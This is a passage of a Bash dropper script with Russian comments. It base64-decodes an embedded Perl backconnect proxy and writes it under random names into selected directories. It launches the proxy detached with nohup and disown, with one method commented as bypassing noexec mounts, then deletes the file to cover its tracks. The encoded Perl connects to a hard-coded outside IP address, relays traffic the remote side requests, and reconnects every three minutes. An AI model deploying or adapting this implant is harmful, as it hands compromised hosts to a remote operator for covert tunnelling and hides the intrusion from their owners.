XJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_b490c084() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTYnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY